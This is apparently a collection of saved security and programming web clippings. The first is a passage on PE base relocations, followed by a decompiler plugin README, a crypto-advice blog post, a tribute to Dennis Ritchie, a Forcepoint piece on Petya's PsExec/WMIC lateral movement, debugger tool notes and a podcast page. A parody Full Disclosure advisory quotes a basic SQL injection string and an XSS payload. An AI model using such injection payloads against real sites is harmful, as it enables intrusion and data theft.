hand, if the loader was able to load the file at the base address assumed by
the linker, the .reloc section data isn't needed and is ignored. The entries
in the .reloc section are called base relocations since their use depends on
the base address of the loaded image.

Unlike relocations in the NE file format, base relocations are extremely
simple. They boil down to a list of locations in the image that need a value
added to them. The format of the base relocation data is somewhat quirky. The
base relocation entries are packaged in a series of variable length chunks.
Each chunk describes the relocations for one 4KB page in the image. Let's look
at an example to see how base relocations work. An executable file is linked
assuming a base address of 0x10000. At offset 0x2134 within the image is a
pointer containing the address of a string. The string starts at physical
address 0x14002, so the pointer contains the value 0x14002. You then load the
file, but the loader decides that it needs to map the image starting at
physical address 0x60000. The difference between the linker-assumed base load
address and the actual load address is called the delta. In this case, the
delta is 0x50000. Since the entire image is 0x50000 bytes higher in memory, so
is the string \(now at address 0x64002\). The pointer to the string is now
incorrect. The executable file contains a base relocation for the memory
location where the pointer to the string resides. To resolve a base
relocation, the loader adds the delta value to the original value at the base
relocation address. In this case, the loader would add 0x50000 to the original
pointer value \(0x14002\), and store the result \(0x64002\) back into the
pointer's memory. Since the string really is at 0x64002, everything is fine
with the world.

Each chunk of base relocation data begins with an IMAGE\_BASE\_RELOCATION
structure that looks like Table 14. Table 15 shows some base relocations as
shown by PEDUMP. Note that the RVA values shown have already been displaced by
the VirtualAddress in the IMAGE\_BASE\_RELOCATION field.

**Figure 15. IMAGE\_BASE\_RELOCATION Format**

`DWORD VirtualAddress`

    This field contains the starting RVA for this chunk of relocations. The offset of each relocation that follows is added to this value to form the actual RVA where the relocation needs to be applied. 
`DWORD SizeOfBlock`

    The size of this structure plus all the WORD relocations that follow. To determine the number of relocations in this block, subtract the size of an IMAGE\_BASE\_RELOCATION \(8 bytes\) from the value of this field, and then divide by 2 \(the size of a WORD\). For example, if this field contains 44, there are 18 relocations that immediately follow:
[code]

     (44 - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD) = 18
    WORD TypeOffset
      
    
[/code]

> This isn't just a single WORD, but rather an array of WORDs, the number of
> which is calculated by the above formula. The bottom 12 bits of each WORD
> are a relocation offset, and need to be added to the value of the Virtual
> Address field from this relocation block's header. The high 4 bits of each
> WORD are a relocation type. For PE files that run on Intel CPUs, you'll only
> see two types of relocations:
0 | IMAGE\_REL\_BASED\_ABSOLUTE | This relocation is meaningless and is only used as a place holder to round relocation blocks up to a DWORD multiple size.   
---|---|---  
3 | IMAGE\_REL\_BASED\_HIGHLOW | This relocation means add both the high and low 16 bits of the delta to the DWORD specified by the calculated RVA.   
**Table 16. The Base Relocations from an EXE File**

[code]

    Virtual Address: 00001000  size: 0000012C
      00001032 HIGHLOW
      0000106D HIGHLOW
      000010AF HIGHLOW
      000010C5 HIGHLOW
      // Rest of chunk omitted...
    Virtual Address: 00002000  size: 0000009C
      000020A6 HIGHLOW
      00002110 HIGHLOW
      00002136 HIGHLOW
      00002156 HIGHLOW
      // Rest of chunk omitted...
    Virtual Address: 00003000  size: 00000114
      0000300A HIGHLOW
      0000301E HIGHLOW
      0000303B HIGHLOW
      0000306A HIGHLOW
      // Rest of relocations omitted...
    
    
[/code]

## Differences Between PE and COFF OBJ Files

There are two portions of the PE file that are not used by the operating
system. These are the COFF symbol table and the COFF debug information. Why
would anyone need COFF debug information when the much more complete CodeView
information is available? If you intend to use the Windows NT system debugger
\(NTSD\) or the Windows NT kernel debugger \(KD\), COFF is the only game in
town. For those of you who are interested, I've included a detailed
description of these parts of the PE file in the online posting that
accompanies this article \(available on all MSJ bulletin boards\).

At many points throughout the preceding discussion, I've noted that many
structures and tables are the same in both a COFF OBJ file and the PE file
created from it. Both COFF OBJ and PE files have an IMAGE\_FILE\_HEADER at or
near their beginning. This header is followed by a section table that contains
information about all the sections in the file. The two formats also share the
same line number and symbol table formats, although the PE file can have
additional non-COFF symbol tables as well. The amount of commonality between
the OBJ and PE EXE formats is evidenced by the large amount of common code in
PEDUMP \(see COMMON.C on any MSJ bulletin board\).

This similarity between the two file formats isn't happenstance. The goal of
this design is to make the linker's job as easy as possible. Theoretically,
creating an EXE file from a single OBJ should be just a matter of inserting a
few tables and modifying a couple of file offsets within the image. With this
in mind, you can think of a COFF file as an embryonic PE file. Only a few
things are missing or different, so I'll list them here.

  * COFF OBJ files don't have an MS-DOS stub preceding the IMAGE\_FILE\_HEADER, nor is there a "PE" signature preceding the IMAGE\_FILE\_HEADER.
  * OBJ files don't have the IMAGE\_OPTIONAL\_HEADER. In a PE file, this structure immediately follows the IMAGE\_FILE\_HEADER. Interestingly, COFF LIB files do have an IMAGE\_OPTIONAL\_HEADER. Space constraints prevent me from talking about LIB files here.
  * OBJ files don't have base relocations. Instead, they have regular symbol-based fixups. I haven't gone into the format of the COFF OBJ file relocations because they're fairly obscure. If you want to dig into this particular area, the PointerToRelocations and NumberOfRelocations fields in the section table entries point to the relocations for each section. The relocations are an array of IMAGE\_RELOCATION structures, which is defined in WINNT.H. The PEDUMP program can show OBJ file relocations if you enable the proper switch.
  * The CodeView information in an OBJ file is stored in two sections \(.debug$S and .debug$T\). When the linker processes the OBJ files, it doesn't put these sections in the PE file. Instead, it collects all these sections and builds a single symbol table stored at the end of the file. This symbol table isn't a formal section \(that is, there's no entry for it in the PE's section table\).

## Using PEDUMP

PEDUMP is a command-line utility for dumping PE files and COFF OBJ format
files. It uses the Win32 console capabilities to eliminate the need for
extensive user interface work. The syntax for PEDUMP is as follows:

[code]

    PEDUMP [switches] filename
      
    
[/code]

The switches can be seen by running PEDUMP with no arguments. PEDUMP uses the
switches shown in Table 17. By default, none of the switches are enabled.
Running PEDUMP without any of the switches provides most of the useful
information without creating a huge amount of output. PEDUMP sends its output
to the standard output file, so its output can be redirected to a file with an
> on the command line.

**Table 17. PEDUMP Switches**

/A | Include everything in dump \(essentially, enable all the switches\)   
---|---  
/H | Include a hex dump of each section at the end of the dump   
/L | Include line number information \(both PE and COFF OBJ files\)   
/R | Show base relocations \(PE files only\)   
/S | Show symbol table \(both PE and COFF OBJ files\)   
## Summary

With the advent of Win32, Microsoft made sweeping changes in the OBJ and
executable file formats to save time and build on work previously done for
other operating systems. A primary goal of these file formats is to enhance
portability across different platforms.

# REhints/HexRaysCodeXplorer

**Created:**| _9/16/2013 2:25:08 PM_  
---|---  
**Updated:**| _9/16/2013 2:25:08 PM_  
**Author:**| __  
**Tags:**| _iDA reversing_  
  

# **H** exRaysCodeXplorer****

Hex-Rays Decompiler plugin for better code navigation

**Authors and Contributors** : Aleksandr Matrosov \(@matrosov \); Eugene
Rodionov \(@rodionov \)

**HexRaysCodeXplorer** \- Hex-Rays Decompiler plugin for easier code
navigation**.** Right-click context menu in the Pseudocode window shows
HexRaysCodeXplorer plugin commands:

<img src='https://github.com/REhints/HexRaysCodeXplorer/raw/master/img/1.png'
alt='1' />

**Here are the main features of the plugin:**

  * Automatic type REconstruction for C++ objects**.** To be able to reconstruct a type using HexRaysCodeXplorer one needs to select the variable holding pointer to the instance of position independed code or to an object and by right-button mouse click select from the context menu «REconstruct Type» option:

<img src='https://github.com/REhints/HexRaysCodeXplorer/raw/master/img/2.png'
alt='2' />

The reconstructed structure is displayed in “Output window”**.** Detailed
information about type Reconstruction feature is provided in the blog post
“Type REconstruction in HexRaysCodeXplorer ”**.**

  * C-tree graph visualization – a special tree-like structure representing a decompiled routine in c\_itemt terms. Useful feature for understanding how the decompiler works**.** The highlighted graph node corresponds to the current cursor position in the HexRays Pseudocode window:

<img src='https://github.com/REhints/HexRaysCodeXplorer/raw/master/img/3.png'
alt='3' />

  * Navigation through virtual function calls in HexRays Pseudocode window**.** After representing C++ objects by C-structures this feature make possible navigation by mouse clicking to the virtual function calls as structure fields:

<img src='https://github.com/REhints/HexRaysCodeXplorer/raw/master/img/4.png'
alt='4' />

  * Object Explorer – useful interface for navigation through virtual tables \(VTBL\) structures**.** Object Explorer outputs VTBL information into IDA custom view window**.** The output window is shown by choosing «Object Explorer» option in right-button mouse click context menu:

<img src='https://github.com/REhints/HexRaysCodeXplorer/raw/master/img/5.png'
alt='5' />

****

# SMBlog -- 22 April 2014

**Created:**| _4/22/2014 6:32:33 PM_  
---|---  
**Updated:**| _4/22/2014 6:32:33 PM_  
**Author:**| __  
**Tags:**| _crypto_  
  

# SMBlog — 22 April 2014

## Doing Crypto

###  22 April 2014

The recent discovery of the goto fail and heartbleed bugs has prompted some
public discussion on a very important topic: what advice should cryptologists
give to implementors who need to use crypto? What should they do? There are
three parts to the answer: don't invent things; use ordinary care; and take
special care around crypto code.

**Don't invent things**

     This oldest piece of advice on the subject is still sound; everyone who teaches or writes on the subject will repeat it. _Never_ invent your own primitives or protocols. Cryptographic protocols are fiendishly difficult to get right; even pros often get them wrong. Encryption algorithms are even harder to design. It's certainly true that there have been very few known attacks on bad crypto by hackers not working for a major government. But "few" is not the same as "none"—think of WEP—and many commercial sites have been targeted by governments. Besides, many crypto attacks are silent; the victims may never know what happened. 
Custom crypto: just say no.

  
  

**Use ordinary care**

     Crypto code is code, and is therefore susceptible to all the natural shocks that code is heir to. All the usual advice—watch out for buffer overflows, avoid integer overflows, and so on—applies here; crypto code is almost by definition security-sensitive. There's no shortage of advice and tools; most of this is even correct. 
  
  

**Special care**

     Crypto code, though, is special; there are precautions that need to be taken that are irrelevant anywhere else. Consider things like _timing attacks_ : if you're using RSA but haven't implemented it with all due paranoia, an attacker can recover your private key just by seeing how long it takes you to respond to certain messages. There are _cache timing attacks_ : if the attacker can run programs on the same computer as your crypto code \(and this isn't a preposterous notion in a world of cloud computing\), it's possible to figure out an AES key by watching what cache lines are busy during an encryption or decryption operation. Alternatively, consider how hard it is to implement obvious advice like zeroing out keys after they're used: if you write code to assign zeros to a variable you'll never use again, a modern compiler can optimize that code out of existence. The problems are subtle and there aren't widely-known sources of advice. 
Nine years ago, Dan Boneh commented to me that "It's amazing how tricky it is
to implement Crypto correctly these days. I constantly tell my undergrad
students that they should not try to implement existing systems themselves."
It's even more true today.

Some of these issues can be dealt with by sticking with a well-implemented,
standards-adhering crypto library. Yes, there have been problems of late with
several different such libraries—but most programmers will make at least as
many mistakes on their own. Are we putting all of our eggs in one basket and
exacerbating the monoculture problem? In this case, I prefer to fall back on
Pudd'nhead Wilson's advice here:

> Behold, the fool saith, "Put not all thine eggs in the one basket"—which is
> but a manner of saying, "Scatter your money and your attention"; but the
> wise man saith, "Put all your eggs in the one basket and—WATCH THAT
> BASKET\!"
Crypto is hard.

# Rob Pike - Google+ - I was warmly surprised to see how many people responded
to…

**Created:**| _10/14/2011 10:44:46 AM_  
---|---  
**Updated:**| _10/14/2011 10:44:46 AM_  
**Author:**| __  
**Tags:**| _opinion_  
  

I was warmly surprised to see how many people responded to my Google+ post
about Dennis Ritchie's untimely passing. His influence on the technical
community was vast, and it's gratifying to see it recognized. When Steve Jobs
died there was a wide lament - and well-deserved it was - but it's worth
noting that the resurgence of Apple depended a great deal on Dennis's work
with C and Unix.  
  
The C programming language is quite old now, but still active and still very
much in use. The Unix and Linux \(and Mac OS X and I think even Windows\)
kernels are all C programs. The web browsers and major web servers are all in
C or C++, and almost all of the rest of the Internet ecosystem is in C or a
C-derived language \(C++, Java\), or a language whose implementation is in C
or a C-derived language \(Python, Ruby, etc.\). C is also a common
implementation language for network firmware. And on and on.  
  
And that's just C.  
  
Dennis was also half of the team that created Unix \(the other half being Ken
Thompson\), which in some form or other \(I include Linux\) runs all the
machines at Google's data centers and probably at most other server farms.
Most web servers run above Unix kernels; most non-Microsoft web browsers run
above Unix kernels in some form, even in many phones.  
  
And speaking of phones, the software that runs the phone network is largely
written in C.  
  
But wait, there's more.  
  
In the late 1970s, Dennis joined with Steve Johnson to port Unix to the
Interdata. From this remove it's hard to see how radical the idea of a
portable operating system was; back then OSes were mostly written in assembly
language and were tightly coupled, both technically and by marketing, to
specific computer brands. Unix, in the unusual \(although not unique\)
position of being written in a "high-level language", could be made to run on
a machine other than the PDP-11. Dennis and Steve seized the opportunity, and
by the early 1980s, Unix had been ported by the not-yet-so-called open source
community to essentially every mini-computer out there. That meant that if I
wrote my program in C, it could run on almost every mini-computer out there.
All of a sudden, the coupling between hardware and operating system was
broken. Unix was the great equalizer, the driving force of the Nerd Spring
that liberated programming from the grip of hardware manufacturers.  
  
The hardware didn't matter any more, since it all ran Unix. And since it
didn't matter, hardware fought with other hardware for dominance; the software
was a given. Windows obviously played a role in the rise of the x86, but the
Unix folks just capitalized on that. Cheap hardware meant cheap Unix
installations; we all won. All that network development that started in the
mid-80s happened on Unix, because that was the environment where the stuff
that really mattered was done. If Unix hadn't been ported to the Interdata,
the Internet, if it even existed, would be a very different place today.  
  
I read in an obituary of Steve Jobs that Tim Berners-Lee did the first WWW
development on a NeXT box, created by Jobs's company at the time. Well, you
know what operating system ran on NeXTs, and what language.  
  
Even in his modest way, I believe Dennis was very proud of his legacy. And
rightfully so: few achieve a fraction as much.  
  
So long, Dennis, and thanks for all the magic.

# PsExec & WMIC – Admin Tools, Techniques, and Procedures | Forcepoint
**Created:**| _7/17/2017 11:28:17 AM_  
---|---  
**Updated:**| _7/17/2017 11:28:17 AM_  
**Author:**| __  
**Tags:**| _powershell_  
  

  

## PsExec & WMIC – Admin Tools, Techniques, and Procedures

Posted by  Luke Somerville on July 6, 2017

The June 2017 Petya \(Petna, Petrwrap, etc.\) outbreak injected some much un-
needed excitement into an IT sector just starting to come to terms with the
implications of the WannaCry outbreak a few weeks beforehand.

In the immediate wake of WannaCry there was a discussion around what could
have been done to reduce the impact of the outbreak, but even without the
benefit of hindsight it was easy to point to slow patching cycles and the
questionable architectural/configuration decision of allowing SMB traffic from
external addresses past the network boundary.

However, as discussed in our earlier blog post, June 2017’s Petya campaign
appears to have been deployed via a malicious software update and used PsExec
and WMIC commands in addition to the now-notorious ‘Eternal’ SMB exploits to
spread laterally across compromised networks. Do these observations and
recommendations therefore still hold true for Petya?

<img src='img/Temp2_6470.jpg' width='794' height='270' />  

##  By What Help?  

> _"Who, what, and where, by what helpe, and by whose:  
>  Why, how, and when, doe many things disclose"  
>  -Thomas Wilson_
As with WannaCry, the _what_ and _where_ parts of the analysis have been
thoroughly covered by this point, albeit with some tug-of-war over semantics:
whether the malware was released in an unfinished state or what a piece of
malware incapable – at least under certain circumstances – of restoring a
victim’s files should be called are matters of speculation and debate.

Any answers to _who_ and _why_ are similarly speculative until a smoking gun
can be found: the former is attribution and the latter is inextricably tied to
attribution.

The excitement in Petya stemmed from its ability to self-propagate. While this
behaviour was apparently limited to the local network \(unlike WannaCry it
didn’t attempt to spread itself to external, Internet addresses\) it had
multiple methods of completing this goal.

Assuming that all of the systems on an affected network are patched and up-to-
date, propagation via EternalBlue shouldn’t be viable. That leaves us with the
rather less discussed \(and less glamorous\) PsExec and WMIC approaches to
spreading.

The use of these tools is of note because they are both legitimate
administrative tools in use across almost all Windows environments \(indeed,
WMIC has been pre-installed in all versions of Windows from 2000 onwards\). As
a result, when combined with valid credentials and malicious intent they can
be used to do a large amount of damage.

To understand how, we need to appreciate what these tools actually do. Through
this we can also see why their usage is preferable to exploits such as
EternalBlue for more skilled attackers.

###  PsExec  

PsExec dates back to 2001 and while its name \(these days, at least\) could
imply an association with PowerShell, that is not the case. Rather than being
a built-in component of Windows, it is part of the PsTools suite that allows
properly authenticated users to both run commands on remote machines and
redirect their output to the local machine.

Despite the fact that it isn’t a component that ships with Windows and
therefore needs ‘dropping’ on a target system before it can be used, it has
been popular with the authors of malicious code for well over a decade, with
its author noting in an article from 2004 that…

> _“Several viruses use PsExec to propagate within a network, and as a result,
> several major antivirus products flag PsExec as a Trojan horse program or a
> worm. Remember that PsExec works on remote systems only if it runs within an
> account that has administrator group membership on the remote system. In
> other words, unless the account from which you run it has administrative
> access to a remote system, PsExec won't be able to execute a process on the
> remote system. In addition, PsExec's functionality can be achieved in other
> ways; thus, PsExec is only a convenience for virus writers, who could
> otherwise easily implement the functionality that PsExec provides.”_
###  WMI & WMIC  

WMIC is the command-line interface to WMI \(Windows Management
Instrumentation\) and older still than PsExec, having been an optional
download during the Windows NT 4.0 era before coming preinstalled from Windows
2000 onwards.

WMI provides a huge amount of functionality for the administration of Windows-
based networks allowing users with the right credentials to do anything from
launch processes to modify the security settings on the remote machine. These
capabilities can and have been used by APTs including Fancy Bear and Cozy Bear
to implement fileless persistence mechanisms on compromised systems.

<img src='img/Temp2_6469.jpg' width='794' height='453' />  

> Image: The WMI Command-line interface
###  Abuse of Privilege  

Both of these tools require administrative credentials to do real damage. In
the case of the June 2017 Petya outbreak this was gathered through the use of
built-in credential stealing code, although in more targeted attacks there’s
every chance that the credentials will have been stolen during an earlier
phase of the attack.

Given this need for valid login details, it may initially seem odd that
malicious actors choose to use these tools when an exploit would likely get
the job done more quickly and easily. In reality, this is far more reflective
of the behaviour of skilled hackers and penetration testers: exploits are
‘unnatural’ traffic on a network and using them significantly increases the
risk of detection.

Abusing administrative tools, on the other hand, results in malicious activity
blending into the background noise of a big network allowing attackers to
maximise their dwell time on networks.

##  Security vs Usability  

So how do we secure against tools that are ubiquitous within Windows networks?
Especially tools for which there are a range of legitimate uses?

To some extent there’s a limit to what can be done: banning knives in your
home would certainly prevent a house guest with a questionable sense of humour
from shredding your wardrobe, but it would equally make cooking dinner rather
difficult.

Access to administrative tools should be limited, but generally speaking this
is already the case: very few corporate networks \(hopefully _no_ corporate
networks\) allow all users unfettered permissions on their system.

This largely leaves us with detection, and with so much administrative
activity taking place at any point in time on a typical network even this is
no easy task. Successful security monitoring against more advanced threats
typically requires input from a number of sources and this situation is no
different. While these options may not be viable for all networks, you may
want to consider:

  * Monitoring for remote administration traffic from unexpected machines: While admins may often need to log in to workstations to diagnose or fix faults, they are unlikely to need \(or want\) to perform bulk administration tasks from a machine in the accounts department. 
  * Sudden changes in the behavioural profile of an administrative account: Though it requires the development of a good baseline for the behaviour of individual users, deviations from this baseline may indicate a potential compromise. A sudden increase in login activity from a given administrative account may simply be indicative of legitimate deployment activity, but hopefully security operations are already aware of any major planned work of this type… 

Behavioural monitoring of human interaction is no simple task, but Security
Information & Event Management \(SIEM\) products can help by pulling disparate
log sources together and providing both alerting and a holistic view of
activity on a network. For example, while an internal IDS may be configured to
detect large amounts of Remote Procedure Call \(RPC\) traffic, this
information will likely need to be combined with other log sources such as
Windows event logs to confirm the user accounts involved.

To this end, it is worth considering the architecture of new networks \(or
extensions of old networks\). Flat networks pose almost no architectural
barriers to lateral movement and rarely offer suitable ‘choke points’ for
protection and monitoring devices. While not a panacea, network segmentation
provides these choke points for the deployment of IPS devices and firewalls
which may allow for a degree of damage limitation in the event of a
compromise.

Overall, some general advice does still stand under these circumstances:
prevention is better than cure. While all the patching in the world may not
protect you from an insider threat or malicious software update, minimising
the number of vectors available to external actors through a combination of
real time monitoring and secure network design can help stop a lot of attacks
before they start.

Tags:

Petya

petna

petrwrap

notpetya

expetr

goldeneye

psexec

wmic

eternalblue

eternalromance

wannacry

pstools

sysinternals

russinovich

siem

rpc

behaviour

behavior

  

# Full Disclosure: OWASP LiveCD Vulnerabilities

**Created:**| _5/22/2009 4:58:07 PM_  
---|---  
**Updated:**| _5/22/2009 4:58:13 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

# OWASP LiveCD Vulnerabilities

  * This message: \[ Message body \] \[ More options \]
  * Related messages: \[ Next message \] \[ Previous message \] \[ Next in thread \] \[ Replies \]

From: Brigette D�Faveur <blosoft\_at\_consultant.com>  
Date: Thu, 21 May 2009 13:13:13 -0500  

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\* bloSOFT
\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*  
Super Wowzer Hacker Team - Professional Vulnerability Assessments  

BLOsoft Research Team  
\------------------------------------------------  
Base Level Ops Securing Otherwise Fscked Tech\!  

\[POSTING NOTICE\]  
\--------------------------------------------------------------------------  
If you intend on pimping this advisory on your Geocities web page please  
create a clickable link back to our uberhawtness security page and include  
annoying use of the <blink> tag  

For more information about Hacking finger condor @well.com  

\[Advisory Information\]  
\--------------------------------------------------------------------------  
Contact : Brigette D�Faveur  
Advisory ID : BLOSOFT-20090521  
Product Name : WebGoat  
Product Version : All versions  
Vendor Name : OWASP  
Type of Vulnerability : Multiple  
Impact : Extremely Critical, like wtf critical  
Vendor Notified : 20090521  

\[Product Description\]  
\--------------------------------------------------------------------------  
"The Open Web Application Security Project \(OWASP\) is a worldwide free and  
open community focused on improving the security of application software.  
Our mission is to make application security visible, so that people and  
organizations can make informed decisions about true application security  
risks."  

Taken From:  
http://www.owasp.org/index.php/Main\_Page  

\[Technical Summary\]  
\--------------------------------------------------------------------------  
Webgoat is vulnerable to the following attacks:  

Cross-site Scripting \(XSS\)  
Access Control  
Hidden Form Field Manipulation  
Parameter Manipulation  
Session Cookies  
SQL Injection  

While performing our advanced superwowzer hackerfying analysis discovered  
that WebGoat is vulnerable to dozens if not billions of attacks if they  
were attacked by attackers.  

\[Impact\]  
\--------------------------------------------------------------------------  
\[Impact varies from installation to installation\]  

\- Cookie stealing  
\- Cookie harassing  
\- Cookie tampering  
\- Tampering of harassed cookie  
\- Harassing the thief tampering with cookies  
\- High level advanced SQL injection \(' or 1=1-- \)  
\- High level super advanced XSS <b onmouseover=alert\('bloSOFT'\)>OMFG</b>  
\- Improper sanitization of the blink tag  

\[Proof Of Concept\]  
\--------------------------------------------------------------------------  
Download WebGoat and you too can see the trillions of exploits affecting  
this software. We will not pollute the www with another useless filth of  
a program designed to assist in the manipulation of security  

\[Vendor Status and Chronology\]  
\--------------------------------------------------------------------------  

Current Vendor Status: OWASP has to many members that don't matter.  

Chronology:  
05/21/2009 07:11:57 AM EST - Vulnerabilities Discovered  
05/21/2009 07:11:59 AM EST - Vendor Notified  
05/21/2009 07:12:18 AM EST - Requested vendor feedback via email  
05/21/2009 07:13:23 AM EST - No response from vendor  
05/21/2009 07:13:28 AM EST - Began advisory release process  

  
\[Solution\]  
\--------------------------------------------------------------------------  
Leave Britney alone  

\[Disclaimer\]  
\--------------------------------------------------------------------------  
bloSOFT assumes no liability for the use of the information provider in  
this disclosure. This advisory was released in an effort to prove our  
worthiness to the I.T. community. Although we may at times attempt to  
extort or blackmail companies in order to comply with our view of how  
security should be, we make no intelligent assumptions or decisions in  
releasing our security advisories.  

\[Advertisement\]  
\--------------------------------------------------------------------------  
bloSOFT is focused on the core commitment to provide the whole wide world  
with security designs and solutions that fit. Our team consists of expert  
level engineers with an array of experience ranging from eggdrop shells,  
running nmap, re-hashing advisories and securitizing maximized potential  
designs with actionable digital intelligence catering to the professional  
hackers. Should you wish to place us at the top of "security review" by  
using an alias please do so. Although we might not be as elite as other  
companies like Netragard, bear in mind, even ImmunitySec isn't as elite  
or as talented as Netragard.  

http://secreview.blogspot.com/  

\[Greets\]  
\--------------------------------------------------------------------------  
Simone Smithereen - we wub you oh grand masteress  
Kevin Finkelstein - we be done havin yo back slap mah fro  
Adrien D�Faveur - my brother, I know you didn't blackmail HP\!  

All the rest - all the best  

[code]

    -- 
    Be Yourself @ mail.com!
    Choose From 200+ Email Addresses
    Get a Free Account at www.mail.com
    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.grok.org.uk/full-disclosure-charter.html
    Hosted and sponsored by Secunia - http://secunia.com/
    
    
[/code]

Received on May 22 2009

# Julio Auto - Projects

**Created:**| _10/27/2009 9:37:04 PM_  
---|---  
**Updated:**| _10/27/2009 9:37:28 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

Tick-Tock, The Croc  
Captain Hook  
Wordlist Generator  
DbgPlus Extension for WinDbg  
Visual Data Tracer

Back to Home

* * *
# DbgPlus Extension for WinDbg

**Comments** : DbgPlus is another interesting piece of code I did while
working for Scanit ME. I'll simply skip any introductions and jump directly
into the release notes, which are large and informative enough. Here we go...

This is the alpha release of the first public version of the DbgPlus
extension. We call it alpha because it still contains a few minor glitches and
bugs, as well as 'non-functional' points of improvement \(such as
performance\). It is a 1.0 version, though, in the sense that it displays the
feature set desired for this first release and it is, in fact, a hundred
percent usable.

Although DbgPlus was born from hackish code created to aid vulnerability
analysis, one can say its features are generic enough to make it useful for
general-purpose debugging as well. Below, we describe its functionalities in
brief:

\[1\] Remote call - This feature makes it possible to execute a call to a
function in the debuggee address space and see the return value. Unlike
windbg's '.call' meta-command, we are able to call a function even without
symbol information. In fact, the user can call a function just by specifying
its address. Furthermore, unlike Skywing's excellent extension, SDbgExt
\(which contains a similar functionality\), we execute the call without
needing the user to resume the execution of the process itself, making it
perfect for post-mortem analysis \(e.g. when the process has already crashed
and you want to call some functions that will retrieve useful information on
the process data\).

\[2\] Trace and print history - This command will make the program execute
until it reaches a breakpoint or exception and then print the last N \(where N
is an user-supplied number\) instructions executed.

\[3\] Watch a range of memory - In order to overcome the processor's \(and
debugger's\) limitation on the number of watchpoints, this command enables the
user to watch for read and writes to a range of memory unlimited in size.
Different from the way that the breakpoint/watchpoint-setting commands
normally work, when you issue \!watchrange the program will execute and print
the instructions accessing the range of memory. It will do so without ever
breaking and until it reaches a breaking condition \(breakpoints,
exceptions...\). These are not persistent watchpoints, meaning you should then
issue the command again is you're still interested in watching that range of
memory further.

\[4\] Watch a register - This feature is perhaps the most exotic of the ones
in DbgPlus, but can be a life saver if the user has to investigate the data-
flow of a specific register for any reason. The \!watchreg command takes a
register name as parameter and watches for changes to that register in a
similar fashion as the \!watchrange command, printing the relevant
instructions until a breaking condition.

As previously said, DbgPlus suffers from a few limitations. Most notably, the
user should be aware that DbgPlus is not able to work with 64-bits targets and
makes no effort to be otherwise. Adding support for 64-bits is doable but
requires modifications in many parts of the code was not considered critical
for this release. Furthermore, the last 3 commands described above change the
execution to stepping mode, making the performance thousands of time slower
and therefore, being unsuited for long excerpts of code \(depending on the
power of the computer and how long you want to wait for the analysis\) or code
that interacts with the user. Therefore, the sensible user will want to
delimit the pieces of code he wants to analyze with care, instead of issuing
those commands to work throughout the whole execution of a big program or on
GUI code.

Last but not least, any new user is extremely recommended to issue the \!help
command, which will hopefully enlighten him/her on the usage of the rest of
the DbgPlus commands.

**Year** : 2008

**Relevant Cross-References** : None

**Download - code and binaries \(.zip\)**

* * *
# **Visual Data Tracer**

**Comments** : VDT is a dynamic dataflow analyzer designed to aid software
vulnerability analysts. It traces across a reproduceable crashing execution
while dumping a lot of this trace information into a file. It then runs a
backwards DF analysis on that file, trying to correlate the faulting data with
the user-input as it was present in the process address space. What it means
is that with very little effort, VDT can tell you something like "the input
that crashed this program is those 2 bytes at offset 0x1234 of your malicious
file". I presented VDT in details in SOURCE Barcelona 2009, so I highly
suggest that the interested visitor checks the presentation out.

**Year** : 2008/2009

**Relevant Cross-References** :

  * Triaging Bugs with Dynamic Dataflow Analysis \- Presentation

**Download unavailable - Private project\!**

# Episode200 - PaulDotCom Security Weekly

**Created:**| _6/5/2010 9:03:59 AM_  
---|---  
**Updated:**| _6/5/2010 9:03:59 AM_  
**Author:**| __  
**Tags:**| _bookmark Tutorials_  
  

# Episode200

<img src='img/Temp2_2750.png' width='150' height='193' alt='HFC' /> |  <img src='img/Temp2_2752.png' width='122' height='47' alt='PayPal Link' /> |   
---|---|---  
* * *
## Contents

  * 1 Sponsors
  * 2 Introduction, Announcements, & Shameless Plugs \(9:00AM - 9:30AM\)
  * 3 Lenny Zeltser \(9:30AM-10:00AM\)
  * 4 Johnny Long \(10:00AM-11:00AM\)
    * 4.1 Questions
  * 5 Tenable Network Security: Ron Gula, CEO \(11:00AM-11:30AM\)
  * 6 Core Security Technologies: Anthony Alves \(11:30AM-12:00PM\)
  * 7 Cigar Lunch \(12:00PM-12:30PM\)
    * 7.1 Sponsored by Joyals Liquor/Mr J's Havana Smoke Shop
  * 8 Break \(12:30PM-1:00PM\)
  * 9 Surprise Tech Segment \(1:00PM-2:00PM\) with Dennis Brown
  * 10 Metasploit Mega-Tech Segment with HD Moore \(2:00PM-3:00PM\)
  * 11 PaulDotCom Episode 200 Show \(3:00PM-5:00PM\)
    * 11.1 Tech Segment: ZigBee For Beginners
    * 11.2 Tech Segment: Hardening Linux
      * 11.2.1 Remote Access
      * 11.2.2 Leave As Few Services Running As Possible
      * 11.2.3 Remove the compilers and other tools when done
      * 11.2.4 Check Permissions
    * 11.3 Stories
    * 11.4 Other Stories Of Interest

  
---  
#  Sponsors

In lieu of sponsors, we are asking for donations towards Hackers for Charity.

The HFC group:

  * Feeds children through a "food for work" program. 
  * Builds computer labs to help students learn skills and land jobs that are key to disrupting poverty's vicious cycle. 
  * Provides technical assistance to charities that can't afford IT services. 
  * Provides job experience and references to the Ugandan volunteers. 

You can donate or get more involved via the Hackers for Charity website.

#  Introduction, Announcements, & Shameless Plugs \(9:00AM - 9:30AM\)

PaulDotCom Security Weekly - Episode 200 - For Friday June 4th, 2010

  * Sign up for "Advanced Vulnerability Scanning Using Nessus" being offered at Brucon and Black Hat Las Vegas\! 

  * Mark Baggett teaches SANS 504 during SANS Raleigh 2010 on June 21st for 6 days. Come learn Hacker Techniques, Exploits & Incident Handling\! 

  * Pen Test Summit\! \- June 14-15, 2010. The 2010 SANS What Works in Penetration Testing & Vulnerability Assessment Summit features an agenda loaded with brand-new talks from the best penetration testers and vulnerability assessment thought leaders in the world. This must-see event lets attendees interact directly with industry leaders, discussing tough technical and operational issues to get the most value from penetration testing and vulnerability assessment expenditures. 

  * Hacker Techniques and Incident Response with Ed Skoudis and John Strand, in your living room via SANS vLive\! Pants are optional. IN504 gets you 25% off. http://www.vergenet.net/~conrad/scripts/pants.html

  * Show production format changes, web site, email list, etc... 

#  Lenny Zeltser \(9:30AM-10:00AM\)

We'll start the morning off right with the breakfast of champions: malware
analysis, in particular how to analyze malicious document files, such as
Microsoft Office and Adobe PDF documents.

